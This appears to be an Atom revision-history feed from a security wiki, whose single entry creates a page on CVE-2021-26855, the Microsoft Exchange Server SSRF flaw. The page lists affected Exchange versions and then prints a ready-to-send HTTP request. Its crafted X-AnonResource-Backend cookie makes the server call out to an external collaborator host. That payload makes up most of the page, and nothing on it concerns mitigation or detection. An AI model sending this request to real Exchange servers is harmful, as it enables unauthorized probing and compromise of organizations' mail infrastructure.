<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26855_-_Exchange_Server_SSRF%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>CVE-2021-26855 - Exchange Server SSRF漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26855_-_Exchange_Server_SSRF%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26855_-_Exchange_Server_SSRF%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-08T09:02:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26855_-_Exchange_Server_SSRF%E6%BC%8F%E6%B4%9E/en&amp;diff=224&amp;oldid=prev</id>
		<title>Pwnwiki: 建立內容為「CVE-2021-26855-Exchange Server SSRF vulnerability」的新頁面</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26855_-_Exchange_Server_SSRF%E6%BC%8F%E6%B4%9E/en&amp;diff=224&amp;oldid=prev"/>
		<updated>2021-03-08T05:33:07Z</updated>

		<summary type="html">&lt;p&gt;建立內容為「CVE-2021-26855-Exchange Server SSRF vulnerability」的新頁面&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction to Vulnerability==&lt;br /&gt;
Exchange server-side request forgery (SSRF) vulnerability, an attacker exploiting this vulnerability can send arbitrary HTTP requests and authenticate through Exchange Server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Scope of influence==&lt;br /&gt;
&lt;br /&gt;
Microsoft Exchange Server: 2010&lt;br /&gt;
&lt;br /&gt;
Microsoft Exchange Server: 2013&lt;br /&gt;
&lt;br /&gt;
Microsoft Exchange Server: 2016&lt;br /&gt;
&lt;br /&gt;
Microsoft Exchange Server: 2019&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==SSRF==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /owa/auth/x.js HTTP/1.1&lt;br /&gt;
Host: 0.0.0.0&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0&lt;br /&gt;
Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;&lt;br /&gt;
Accept-Language: en&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[檔案:Ssrf.jpg]]&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>